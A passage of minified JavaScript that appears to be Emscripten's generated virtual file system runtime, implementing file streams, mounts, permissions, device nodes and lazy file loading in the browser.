return e ? FS.isLink(e.mode) ? ERRNO_CODES.ELOOP : FS.isDir(e.mode) && ("r" !== FS.flagsToPermissionString(r) || 512 & r) ? ERRNO_CODES.EISDIR : FS.nodePermissions(e, FS.flagsToPermissionString(r)) : ERRNO_CODES.ENOENT | |
}, | |
MAX_OPEN_FDS: 4096, | |
nextfd: function(e, r) { | |
e = e || 0, r = r || FS.MAX_OPEN_FDS; | |
for (var t = e; t <= r; t++) | |
if (!FS.streams[t]) return t; | |
throw new FS.ErrnoError(ERRNO_CODES.EMFILE) | |
}, | |
getStream: function(e) { | |
return FS.streams[e] | |
}, | |
createStream: function(e, r, t) { | |
FS.FSStream || (FS.FSStream = function() {}, FS.FSStream.prototype = {}, Object.defineProperties(FS.FSStream.prototype, { | |
object: { | |
get: function() { | |
return this.node | |
}, | |
set: function(e) { | |
this.node = e | |
} | |
}, | |
isRead: { | |
get: function() { | |
return 1 != (2097155 & this.flags) | |
} | |
}, | |
isWrite: { | |
get: function() { | |
return 0 != (2097155 & this.flags) | |
} | |
}, | |
isAppend: { | |
get: function() { | |
return 1024 & this.flags | |
} | |
} | |
})); | |
var n = new FS.FSStream; | |
for (var o in e) n[o] = e[o]; | |
e = n; | |
var i = FS.nextfd(r, t); | |
return e.fd = i, FS.streams[i] = e, e | |
}, | |
closeStream: function(e) { | |
FS.streams[e] = null | |
}, | |
chrdev_stream_ops: { | |
open: function(e) { | |
var r = FS.getDevice(e.node.rdev); | |
e.stream_ops = r.stream_ops, e.stream_ops.open && e.stream_ops.open(e) | |
}, | |
llseek: function() { | |
throw new FS.ErrnoError(ERRNO_CODES.ESPIPE) | |
} | |
}, | |
major: function(e) { | |
return e >> 8 | |
}, | |
minor: function(e) { | |
return 255 & e | |
}, | |
makedev: function(e, r) { | |
return e << 8 | r | |
}, | |
registerDevice: function(e, r) { | |
FS.devices[e] = { | |
stream_ops: r | |
} | |
}, | |
getDevice: function(e) { | |
return FS.devices[e] | |
}, | |
getMounts: function(e) { | |
for (var r = [], t = [e]; t.length;) { | |
var n = t.pop(); | |
r.push(n), t.push.apply(t, n.mounts) | |
} | |
return r | |
}, | |
syncfs: function(e, r) { | |
function t(e) { | |
return assert(FS.syncFSRequests > 0), FS.syncFSRequests--, r(e) | |
} | |
function n(e) { | |
if (e) { | |
if (!n.errored) return n.errored = !0, t(e) | |
} else ++i >= o.length && t(null) | |
} | |
"function" == typeof e && (r = e, e = !1), FS.syncFSRequests++, FS.syncFSRequests > 1 && console.log("warning: " + FS.syncFSRequests + " FS.syncfs operations in flight at once, probably just doing extra work"); | |
var o = FS.getMounts(FS.root.mount), | |
i = 0; | |
o.forEach(function(r) { | |
if (!r.type.syncfs) return n(null); | |
r.type.syncfs(r, e, n) | |
}) | |
}, | |
mount: function(e, r, t) { | |
var n, o = "/" === t, | |
i = !t; | |
if (o && FS.root) throw new FS.ErrnoError(ERRNO_CODES.EBUSY); | |
if (!o && !i) { | |
var a = FS.lookupPath(t, { | |
follow_mount: !1 | |
}); | |
if (t = a.path, n = a.node, FS.isMountpoint(n)) throw new FS.ErrnoError(ERRNO_CODES.EBUSY); | |
if (!FS.isDir(n.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR) | |
} | |
var s = { | |
type: e, | |
opts: r, | |
mountpoint: t, | |
mounts: [] | |
}, | |
u = e.mount(s); | |
return u.mount = s, s.root = u, o ? FS.root = u : n && (n.mounted = s, n.mount && n.mount.mounts.push(s)), u | |
}, | |
unmount: function(e) { | |
var r = FS.lookupPath(e, { | |
follow_mount: !1 | |
}); | |
if (!FS.isMountpoint(r.node)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
var t = r.node, | |
n = t.mounted, | |
o = FS.getMounts(n); | |
Object.keys(FS.nameTable).forEach(function(e) { | |
for (var r = FS.nameTable[e]; r;) { | |
var t = r.name_next; - 1 !== o.indexOf(r.mount) && FS.destroyNode(r), r = t | |
} | |
}), t.mounted = null; | |
var i = t.mount.mounts.indexOf(n); | |
assert(-1 !== i), t.mount.mounts.splice(i, 1) | |
}, | |
lookup: function(e, r) { | |
return e.node_ops.lookup(e, r) | |
}, | |
mknod: function(e, r, t) { | |
var n = FS.lookupPath(e, { | |
parent: !0 | |
}).node, | |
o = PATH.basename(e); | |
if (!o || "." === o || ".." === o) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
var i = FS.mayCreate(n, o); | |
if (i) throw new FS.ErrnoError(i); | |
if (!n.node_ops.mknod) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
return n.node_ops.mknod(n, o, r, t) | |
}, | |
create: function(e, r) { | |
return r = void 0 !== r ? r : 438, r &= 4095, r |= 32768, FS.mknod(e, r, 0) | |
}, | |
mkdir: function(e, r) { | |
return r = void 0 !== r ? r : 511, r &= 1023, r |= 16384, FS.mknod(e, r, 0) | |
}, | |
mkdirTree: function(e, r) { | |
for (var t = e.split("/"), n = "", o = 0; o < t.length; ++o) | |
if (t[o]) { | |
n += "/" + t[o]; | |
try { | |
FS.mkdir(n, r) | |
} catch (e) { | |
if (e.errno != ERRNO_CODES.EEXIST) throw e | |
} | |
} | |
}, | |
mkdev: function(e, r, t) { | |
return void 0 === t && (t = r, r = 438), r |= 8192, FS.mknod(e, r, t) | |
}, | |
symlink: function(e, r) { | |
if (!PATH.resolve(e)) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); | |
var t = FS.lookupPath(r, { | |
parent: !0 | |
}).node; | |
if (!t) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); | |
var n = PATH.basename(r), | |
o = FS.mayCreate(t, n); | |
if (o) throw new FS.ErrnoError(o); | |
if (!t.node_ops.symlink) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
return t.node_ops.symlink(t, n, e) | |
}, | |
rename: function(e, r) { | |
var t, n, o = PATH.dirname(e), | |
i = PATH.dirname(r), | |
a = PATH.basename(e), | |
s = PATH.basename(r); | |
try { | |
t = FS.lookupPath(e, { | |
parent: !0 | |
}).node, n = FS.lookupPath(r, { | |
parent: !0 | |
}).node | |
} catch (e) { | |
throw new FS.ErrnoError(ERRNO_CODES.EBUSY) | |
} | |
if (!t || !n) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); | |
if (t.mount !== n.mount) throw new FS.ErrnoError(ERRNO_CODES.EXDEV); | |
var u = FS.lookupNode(t, a), | |
l = PATH.relative(e, i); | |
if ("." !== l.charAt(0)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
if ("." !== (l = PATH.relative(r, o)).charAt(0)) throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY); | |
var c; | |
try { | |
c = FS.lookupNode(n, s) | |
} catch (e) {} | |
if (u !== c) { | |
var d = FS.isDir(u.mode), | |
E = FS.mayDelete(t, a, d); | |
if (E) throw new FS.ErrnoError(E); | |
if (E = c ? FS.mayDelete(n, s, d) : FS.mayCreate(n, s)) throw new FS.ErrnoError(E); | |
if (!t.node_ops.rename) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
if (FS.isMountpoint(u) || c && FS.isMountpoint(c)) throw new FS.ErrnoError(ERRNO_CODES.EBUSY); | |
if (n !== t && (E = FS.nodePermissions(t, "w"))) throw new FS.ErrnoError(E); | |
try { | |
FS.trackingDelegate.willMovePath && FS.trackingDelegate.willMovePath(e, r) | |
} catch (t) { | |
console.log("FS.trackingDelegate['willMovePath']('" + e + "', '" + r + "') threw an exception: " + t.message) | |
} | |
FS.hashRemoveNode(u); | |
try { | |
t.node_ops.rename(u, n, s) | |
} catch (e) { | |
throw e | |
} finally { | |
FS.hashAddNode(u) | |
} | |
try { | |
FS.trackingDelegate.onMovePath && FS.trackingDelegate.onMovePath(e, r) | |
} catch (t) { | |
console.log("FS.trackingDelegate['onMovePath']('" + e + "', '" + r + "') threw an exception: " + t.message) | |
} | |
} | |
}, | |
rmdir: function(e) { | |
var r = FS.lookupPath(e, { | |
parent: !0 | |
}).node, | |
t = PATH.basename(e), | |
n = FS.lookupNode(r, t), | |
o = FS.mayDelete(r, t, !0); | |
if (o) throw new FS.ErrnoError(o); | |
if (!r.node_ops.rmdir) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
if (FS.isMountpoint(n)) throw new FS.ErrnoError(ERRNO_CODES.EBUSY); | |
try { | |
FS.trackingDelegate.willDeletePath && FS.trackingDelegate.willDeletePath(e) | |
} catch (r) { | |
console.log("FS.trackingDelegate['willDeletePath']('" + e + "') threw an exception: " + r.message) | |
} | |
r.node_ops.rmdir(r, t), FS.destroyNode(n); | |
try { | |
FS.trackingDelegate.onDeletePath && FS.trackingDelegate.onDeletePath(e) | |
} catch (r) { | |
console.log("FS.trackingDelegate['onDeletePath']('" + e + "') threw an exception: " + r.message) | |
} | |
}, | |
readdir: function(e) { | |
var r = FS.lookupPath(e, { | |
follow: !0 | |
}).node; | |
if (!r.node_ops.readdir) throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR); | |
return r.node_ops.readdir(r) | |
}, | |
unlink: function(e) { | |
var r = FS.lookupPath(e, { | |
parent: !0 | |
}).node, | |
t = PATH.basename(e), | |
n = FS.lookupNode(r, t), | |
o = FS.mayDelete(r, t, !1); | |
if (o) throw new FS.ErrnoError(o); | |
if (!r.node_ops.unlink) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
if (FS.isMountpoint(n)) throw new FS.ErrnoError(ERRNO_CODES.EBUSY); | |
try { | |
FS.trackingDelegate.willDeletePath && FS.trackingDelegate.willDeletePath(e) | |
} catch (r) { | |
console.log("FS.trackingDelegate['willDeletePath']('" + e + "') threw an exception: " + r.message) | |
} | |
r.node_ops.unlink(r, t), FS.destroyNode(n); | |
try { | |
FS.trackingDelegate.onDeletePath && FS.trackingDelegate.onDeletePath(e) | |
} catch (r) { | |
console.log("FS.trackingDelegate['onDeletePath']('" + e + "') threw an exception: " + r.message) | |
} | |
}, | |
readlink: function(e) { | |
var r = FS.lookupPath(e).node; | |
if (!r) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); | |
if (!r.node_ops.readlink) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
return PATH.resolve(FS.getPath(r.parent), r.node_ops.readlink(r)) | |
}, | |
stat: function(e, r) { | |
var t = FS.lookupPath(e, { | |
follow: !r | |
}).node; | |
if (!t) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); | |
if (!t.node_ops.getattr) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
return t.node_ops.getattr(t) | |
}, | |
lstat: function(e) { | |
return FS.stat(e, !0) | |
}, | |
chmod: function(e, r, t) { | |
var n; | |
if ("string" == typeof e) { | |
n = FS.lookupPath(e, { | |
follow: !t | |
}).node | |
} else n = e; | |
if (!n.node_ops.setattr) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
n.node_ops.setattr(n, { | |
mode: 4095 & r | -4096 & n.mode, | |
timestamp: Date.now() | |
}) | |
}, | |
lchmod: function(e, r) { | |
FS.chmod(e, r, !0) | |
}, | |
fchmod: function(e, r) { | |
var t = FS.getStream(e); | |
if (!t) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
FS.chmod(t.node, r) | |
}, | |
chown: function(e, r, t, n) { | |
var o; | |
if ("string" == typeof e) { | |
o = FS.lookupPath(e, { | |
follow: !n | |
}).node | |
} else o = e; | |
if (!o.node_ops.setattr) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
o.node_ops.setattr(o, { | |
timestamp: Date.now() | |
}) | |
}, | |
lchown: function(e, r, t) { | |
FS.chown(e, r, t, !0) | |
}, | |
fchown: function(e, r, t) { | |
var n = FS.getStream(e); | |
if (!n) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
FS.chown(n.node, r, t) | |
}, | |
truncate: function(e, r) { | |
if (r < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
var t; | |
if ("string" == typeof e) { | |
t = FS.lookupPath(e, { | |
follow: !0 | |
}).node | |
} else t = e; | |
if (!t.node_ops.setattr) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
if (FS.isDir(t.mode)) throw new FS.ErrnoError(ERRNO_CODES.EISDIR); | |
if (!FS.isFile(t.mode)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
var n = FS.nodePermissions(t, "w"); | |
if (n) throw new FS.ErrnoError(n); | |
t.node_ops.setattr(t, { | |
size: r, | |
timestamp: Date.now() | |
}) | |
}, | |
ftruncate: function(e, r) { | |
var t = FS.getStream(e); | |
if (!t) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
if (0 == (2097155 & t.flags)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
FS.truncate(t.node, r) | |
}, | |
utime: function(e, r, t) { | |
var n = FS.lookupPath(e, { | |
follow: !0 | |
}).node; | |
n.node_ops.setattr(n, { | |
timestamp: Math.max(r, t) | |
}) | |
}, | |
open: function(e, r, t, n, o) { | |
if ("" === e) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); | |
r = "string" == typeof r ? FS.modeStringToFlags(r) : r, t = void 0 === t ? 438 : t, t = 64 & r ? 4095 & t | 32768 : 0; | |
var i; | |
if ("object" == typeof e) i = e; | |
else { | |
e = PATH.normalize(e); | |
try { | |
i = FS.lookupPath(e, { | |
follow: !(131072 & r) | |
}).node | |
} catch (e) {} | |
} | |
var a = !1; | |
if (64 & r) | |
if (i) { | |
if (128 & r) throw new FS.ErrnoError(ERRNO_CODES.EEXIST) | |
} else i = FS.mknod(e, t, 0), a = !0; | |
if (!i) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); | |
if (FS.isChrdev(i.mode) && (r &= -513), 65536 & r && !FS.isDir(i.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR); | |
if (!a) { | |
var s = FS.mayOpen(i, r); | |
if (s) throw new FS.ErrnoError(s) | |
} | |
512 & r && FS.truncate(i, 0), r &= -641; | |
var u = FS.createStream({ | |
node: i, | |
path: FS.getPath(i), | |
flags: r, | |
seekable: !0, | |
position: 0, | |
stream_ops: i.stream_ops, | |
ungotten: [], | |
error: !1 | |
}, n, o); | |
u.stream_ops.open && u.stream_ops.open(u), !Module.logReadFiles || 1 & r || (FS.readFiles || (FS.readFiles = {}), e in FS.readFiles || (FS.readFiles[e] = 1, Module.printErr("read file: " + e))); | |
try { | |
if (FS.trackingDelegate.onOpenFile) { | |
var l = 0; | |
1 != (2097155 & r) && (l |= FS.tracking.openFlags.READ), 0 != (2097155 & r) && (l |= FS.tracking.openFlags.WRITE), FS.trackingDelegate.onOpenFile(e, l) | |
} | |
} catch (r) { | |
console.log("FS.trackingDelegate['onOpenFile']('" + e + "', flags) threw an exception: " + r.message) | |
} | |
return u | |
}, | |
close: function(e) { | |
e.getdents && (e.getdents = null); | |
try { | |
e.stream_ops.close && e.stream_ops.close(e) | |
} catch (e) { | |
throw e | |
} finally { | |
FS.closeStream(e.fd) | |
} | |
}, | |
llseek: function(e, r, t) { | |
if (!e.seekable || !e.stream_ops.llseek) throw new FS.ErrnoError(ERRNO_CODES.ESPIPE); | |
return e.position = e.stream_ops.llseek(e, r, t), e.ungotten = [], e.position | |
}, | |
read: function(e, r, t, n, o) { | |
if (n < 0 || o < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
if (1 == (2097155 & e.flags)) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
if (FS.isDir(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.EISDIR); | |
if (!e.stream_ops.read) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
var i = !0; | |
if (void 0 === o) o = e.position, i = !1; | |
else if (!e.seekable) throw new FS.ErrnoError(ERRNO_CODES.ESPIPE); | |
var a = e.stream_ops.read(e, r, t, n, o); | |
return i || (e.position += a), a | |
}, | |
write: function(e, r, t, n, o, i) { | |
if (n < 0 || o < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
if (0 == (2097155 & e.flags)) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
if (FS.isDir(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.EISDIR); | |
if (!e.stream_ops.write) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
1024 & e.flags && FS.llseek(e, 0, 2); | |
var a = !0; | |
if (void 0 === o) o = e.position, a = !1; | |
else if (!e.seekable) throw new FS.ErrnoError(ERRNO_CODES.ESPIPE); | |
var s = e.stream_ops.write(e, r, t, n, o, i); | |
a || (e.position += s); | |
try { | |
e.path && FS.trackingDelegate.onWriteToFile && FS.trackingDelegate.onWriteToFile(e.path) | |
} catch (e) { | |
console.log("FS.trackingDelegate['onWriteToFile']('" + path + "') threw an exception: " + e.message) | |
} | |
return s | |
}, | |
allocate: function(e, r, t) { | |
if (r < 0 || t <= 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
if (0 == (2097155 & e.flags)) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
if (!FS.isFile(e.node.mode) && !FS.isDir(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENODEV); | |
if (!e.stream_ops.allocate) throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP); | |
e.stream_ops.allocate(e, r, t) | |
}, | |
mmap: function(e, r, t, n, o, i, a) { | |
if (1 == (2097155 & e.flags)) throw new FS.ErrnoError(ERRNO_CODES.EACCES); | |
if (!e.stream_ops.mmap) throw new FS.ErrnoError(ERRNO_CODES.ENODEV); | |
return e.stream_ops.mmap(e, r, t, n, o, i, a) | |
}, | |
msync: function(e, r, t, n, o) { | |
return e && e.stream_ops.msync ? e.stream_ops.msync(e, r, t, n, o) : 0 | |
}, | |
munmap: function(e) { | |
return 0 | |
}, | |
ioctl: function(e, r, t) { | |
if (!e.stream_ops.ioctl) throw new FS.ErrnoError(ERRNO_CODES.ENOTTY); | |
return e.stream_ops.ioctl(e, r, t) | |
}, | |
readFile: function(e, r) { | |
if (r = r || {}, r.flags = r.flags || "r", r.encoding = r.encoding || "binary", "utf8" !== r.encoding && "binary" !== r.encoding) throw new Error('Invalid encoding type "' + r.encoding + '"'); | |
var t, n = FS.open(e, r.flags), | |
o = FS.stat(e).size, | |
i = new Uint8Array(o); | |
return FS.read(n, i, 0, o, 0), "utf8" === r.encoding ? t = UTF8ArrayToString(i, 0) : "binary" === r.encoding && (t = i), FS.close(n), t | |
}, | |
writeFile: function(e, r, t) { | |
if (t = t || {}, t.flags = t.flags || "w", t.encoding = t.encoding || "utf8", "utf8" !== t.encoding && "binary" !== t.encoding) throw new Error('Invalid encoding type "' + t.encoding + '"'); | |
var n = FS.open(e, t.flags, t.mode); | |
if ("utf8" === t.encoding) { | |
var o = new Uint8Array(lengthBytesUTF8(r) + 1), | |
i = stringToUTF8Array(r, o, 0, o.length); | |
FS.write(n, o, 0, i, 0, t.canOwn) | |
} else "binary" === t.encoding && FS.write(n, r, 0, r.length, 0, t.canOwn); | |
FS.close(n) | |
}, | |
cwd: function() { | |
return FS.currentPath | |
}, | |
chdir: function(e) { | |
var r = FS.lookupPath(e, { | |
follow: !0 | |
}); | |
if (null === r.node) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); | |
if (!FS.isDir(r.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR); | |
var t = FS.nodePermissions(r.node, "x"); | |
if (t) throw new FS.ErrnoError(t); | |
FS.currentPath = r.path | |
}, | |
createDefaultDirectories: function() { | |
FS.mkdir("/tmp"), FS.mkdir("/home"), FS.mkdir("/home/web_user") | |
}, | |
createDefaultDevices: function() { | |
FS.mkdir("/dev"), FS.registerDevice(FS.makedev(1, 3), { | |
read: function() { | |
return 0 | |
}, | |
write: function(e, r, t, n, o) { | |
return n | |
} | |
}), FS.mkdev("/dev/null", FS.makedev(1, 3)), TTY.register(FS.makedev(5, 0), TTY.default_tty_ops), TTY.register(FS.makedev(6, 0), TTY.default_tty1_ops), FS.mkdev("/dev/tty", FS.makedev(5, 0)), FS.mkdev("/dev/tty1", FS.makedev(6, 0)); | |
var e; | |
if ("undefined" != typeof crypto) { | |
var r = new Uint8Array(1); | |
e = function() { | |
return crypto.getRandomValues(r), r[0] | |
} | |
} else e = function() { | |
return 256 * Math.random() | 0 | |
}; | |
FS.createDevice("/dev", "random", e), FS.createDevice("/dev", "urandom", e), FS.mkdir("/dev/shm"), FS.mkdir("/dev/shm/tmp") | |
}, | |
createSpecialDirectories: function() { | |
FS.mkdir("/proc"), FS.mkdir("/proc/self"), FS.mkdir("/proc/self/fd"), FS.mount({ | |
mount: function() { | |
var e = FS.createNode("/proc/self", "fd", 16895, 73); | |
return e.node_ops = { | |
lookup: function(e, r) { | |
var t = +r, | |
n = FS.getStream(t); | |
if (!n) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
var o = { | |
parent: null, | |
mount: { | |
mountpoint: "fake" | |
}, | |
node_ops: { | |
readlink: function() { | |
return n.path | |
} | |
} | |
}; | |
return o.parent = o, o | |
} | |
}, e | |
} | |
}, {}, "/proc/self/fd") | |
}, | |
createStandardStreams: function() { | |
Module.stdin ? FS.createDevice("/dev", "stdin", Module.stdin) : FS.symlink("/dev/tty", "/dev/stdin"), Module.stdout ? FS.createDevice("/dev", "stdout", null, Module.stdout) : FS.symlink("/dev/tty", "/dev/stdout"), Module.stderr ? FS.createDevice("/dev", "stderr", null, Module.stderr) : FS.symlink("/dev/tty1", "/dev/stderr"); | |
var e = FS.open("/dev/stdin", "r"); | |
assert(0 === e.fd, "invalid handle for stdin (" + e.fd + ")"); | |
var r = FS.open("/dev/stdout", "w"); | |
assert(1 === r.fd, "invalid handle for stdout (" + r.fd + ")"); | |
var t = FS.open("/dev/stderr", "w"); | |
assert(2 === t.fd, "invalid handle for stderr (" + t.fd + ")") | |
}, | |
ensureErrnoError: function() { | |
FS.ErrnoError || (FS.ErrnoError = function(e, r) { | |
this.node = r, this.setErrno = function(e) { | |
this.errno = e; | |
for (var r in ERRNO_CODES) | |
if (ERRNO_CODES[r] === e) { | |
this.code = r; | |
break | |
} | |
}, this.setErrno(e), this.message = ERRNO_MESSAGES[e] | |
}, FS.ErrnoError.prototype = new Error, FS.ErrnoError.prototype.constructor = FS.ErrnoError, [ERRNO_CODES.ENOENT].forEach(function(e) { | |
FS.genericErrors[e] = new FS.ErrnoError(e), FS.genericErrors[e].stack = "<generic error, no stack>" | |
})) | |
}, | |
staticInit: function() { | |
FS.ensureErrnoError(), FS.nameTable = new Array(4096), FS.mount(MEMFS, {}, "/"), FS.createDefaultDirectories(), FS.createDefaultDevices(), FS.createSpecialDirectories(), FS.filesystems = { | |
MEMFS: MEMFS, | |
IDBFS: IDBFS, | |
NODEFS: NODEFS, | |
WORKERFS: WORKERFS | |
} | |
}, | |
init: function(e, r, t) { | |
assert(!FS.init.initialized, "FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)"), FS.init.initialized = !0, FS.ensureErrnoError(), Module.stdin = e || Module.stdin, Module.stdout = r || Module.stdout, Module.stderr = t || Module.stderr, FS.createStandardStreams() | |
}, | |
quit: function() { | |
FS.init.initialized = !1; | |
var e = Module._fflush; | |
e && e(0); | |
for (var r = 0; r < FS.streams.length; r++) { | |
var t = FS.streams[r]; | |
t && FS.close(t) | |
} | |
}, | |
getMode: function(e, r) { | |
var t = 0; | |
return e && (t |= 365), r && (t |= 146), t | |
}, | |
joinPath: function(e, r) { | |
var t = PATH.join.apply(null, e); | |
return r && "/" == t[0] && (t = t.substr(1)), t | |
}, | |
absolutePath: function(e, r) { | |
return PATH.resolve(r, e) | |
}, | |
standardizePath: function(e) { | |
return PATH.normalize(e) | |
}, | |
findObject: function(e, r) { | |
var t = FS.analyzePath(e, r); | |
return t.exists ? t.object : (___setErrNo(t.error), null) | |
}, | |
analyzePath: function(e, r) { | |
try { | |
e = (n = FS.lookupPath(e, { | |
follow: !r | |
})).path | |
} catch (e) {} | |
var t = { | |
isRoot: !1, | |
exists: !1, | |
error: 0, | |
name: null, | |
path: null, | |
object: null, | |
parentExists: !1, | |
parentPath: null, | |
parentObject: null | |
}; | |
try { | |
var n = FS.lookupPath(e, { | |
parent: !0 | |
}); | |
t.parentExists = !0, t.parentPath = n.path, t.parentObject = n.node, t.name = PATH.basename(e), n = FS.lookupPath(e, { | |
follow: !r | |
}), t.exists = !0, t.path = n.path, t.object = n.node, t.name = n.node.name, t.isRoot = "/" === n.path | |
} catch (e) { | |
t.error = e.errno | |
} | |
return t | |
}, | |
createFolder: function(e, r, t, n) { | |
var o = PATH.join2("string" == typeof e ? e : FS.getPath(e), r), | |
i = FS.getMode(t, n); | |
return FS.mkdir(o, i) | |
}, | |
createPath: function(e, r, t, n) { | |
e = "string" == typeof e ? e : FS.getPath(e); | |
for (var o = r.split("/").reverse(); o.length;) { | |
var i = o.pop(); | |
if (i) { | |
var a = PATH.join2(e, i); | |
try { | |
FS.mkdir(a) | |
} catch (e) {} | |
e = a | |
} | |
} | |
return a | |
}, | |
createFile: function(e, r, t, n, o) { | |
var i = PATH.join2("string" == typeof e ? e : FS.getPath(e), r), | |
a = FS.getMode(n, o); | |
return FS.create(i, a) | |
}, | |
createDataFile: function(e, r, t, n, o, i) { | |
var a = r ? PATH.join2("string" == typeof e ? e : FS.getPath(e), r) : e, | |
s = FS.getMode(n, o), | |
u = FS.create(a, s); | |
if (t) { | |
if ("string" == typeof t) { | |
for (var l = new Array(t.length), c = 0, d = t.length; c < d; ++c) l[c] = t.charCodeAt(c); | |
t = l | |
} | |
FS.chmod(u, 146 | s); | |
var E = FS.open(u, "w"); | |
FS.write(E, t, 0, t.length, 0, i), FS.close(E), FS.chmod(u, s) | |
} | |
return u | |
}, | |
createDevice: function(e, r, t, n) { | |
var o = PATH.join2("string" == typeof e ? e : FS.getPath(e), r), | |
i = FS.getMode(!!t, !!n); | |
FS.createDevice.major || (FS.createDevice.major = 64); | |
var a = FS.makedev(FS.createDevice.major++, 0); | |
return FS.registerDevice(a, { | |
open: function(e) { | |
e.seekable = !1 | |
}, | |
close: function(e) { | |
n && n.buffer && n.buffer.length && n(10) | |
}, | |
read: function(e, r, n, o, i) { | |
for (var a = 0, s = 0; s < o; s++) { | |
var u; | |
try { | |
u = t() | |
} catch (e) { | |
throw new FS.ErrnoError(ERRNO_CODES.EIO) | |
} | |
if (void 0 === u && 0 === a) throw new FS.ErrnoError(ERRNO_CODES.EAGAIN); | |
if (null === u || void 0 === u) break; | |
a++, r[n + s] = u | |
} | |
return a && (e.node.timestamp = Date.now()), a | |
}, | |
write: function(e, r, t, o, i) { | |
for (var a = 0; a < o; a++) try { | |
n(r[t + a]) | |
} catch (e) { | |
throw new FS.ErrnoError(ERRNO_CODES.EIO) | |
} | |
return o && (e.node.timestamp = Date.now()), a | |
} | |
}), FS.mkdev(o, i, a) | |
}, | |
createLink: function(e, r, t, n, o) { | |
var i = PATH.join2("string" == typeof e ? e : FS.getPath(e), r); | |
return FS.symlink(t, i) | |
}, | |
forceLoadFile: function(e) { | |
if (e.isDevice || e.isFolder || e.link || e.contents) return !0; | |
var r = !0; | |
if ("undefined" != typeof XMLHttpRequest) throw new Error("Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread."); | |
if (!Module.read) throw new Error("Cannot load without read() or XMLHttpRequest."); | |
try { | |
e.contents = intArrayFromString(Module.read(e.url), !0), e.usedBytes = e.contents.length | |
} catch (e) { | |
r = !1 | |
} | |
return r || ___setErrNo(ERRNO_CODES.EIO), r | |
}, | |
createLazyFile: function(e, r, t, n, o) { | |
function i() { | |
this.lengthKnown = !1, this.chunks = [] | |
} | |
if (i.prototype.get = function(e) { | |
if (!(e > this.length - 1 || e < 0)) { | |
var r = e % this.chunkSize, | |
t = e / this.chunkSize | 0; | |
return this.getter(t)[r] | |
} | |
}, i.prototype.setDataGetter = function(e) { | |
this.getter = e | |
}, i.prototype.cacheLength = function() { | |
var e = new XMLHttpRequest; | |
if (e.open("HEAD", t, !1), e.send(null), !(e.status >= 200 && e.status < 300 || 304 === e.status)) throw new Error("Couldn't load " + t + ". Status: " + e.status); | |
var r, n = Number(e.getResponseHeader("Content-length")), | |
o = (r = e.getResponseHeader("Accept-Ranges")) && "bytes" === r, | |
i = (r = e.getResponseHeader("Content-Encoding")) && "gzip" === r, | |
a = 1048576; | |
o || (a = n); | |
var s = this; | |
s.setDataGetter(function(e) { | |
var r = e * a, | |
o = (e + 1) * a - 1; | |
if (o = Math.min(o, n - 1), void 0 === s.chunks[e] && (s.chunks[e] = function(e, r) { | |
if (e > r) throw new Error("invalid range (" + e + ", " + r + ") or no bytes requested!"); | |
if (r > n - 1) throw new Error("only " + n + " bytes available! programmer error!"); | |
var o = new XMLHttpRequest; | |
if (o.open("GET", t, !1), n !== a && o.setRequestHeader("Range", "bytes=" + e + "-" + r), "undefined" != typeof Uint8Array && (o.responseType = "arraybuffer"), o.overrideMimeType && o.overrideMimeType("text/plain; charset=x-user-defined"), o.send(null), !(o.status >= 200 && o.status < 300 || 304 === o.status)) throw new Error("Couldn't load " + t + ". Status: " + o.status); | |
return void 0 !== o.response ? new Uint8Array(o.response || []) : intArrayFromString(o.responseText || "", !0) | |
}(r, o)), void 0 === s.chunks[e]) throw new Error("doXHR failed!"); | |
return s.chunks[e] | |
}), !i && n || (a = n = 1, n = this.getter(0).length, a = n, console.log("LazyFiles on gzip forces download of the whole file when length is accessed")), this._length = n, this._chunkSize = a, this.lengthKnown = !0 | |
}, "undefined" != typeof XMLHttpRequest) { | |
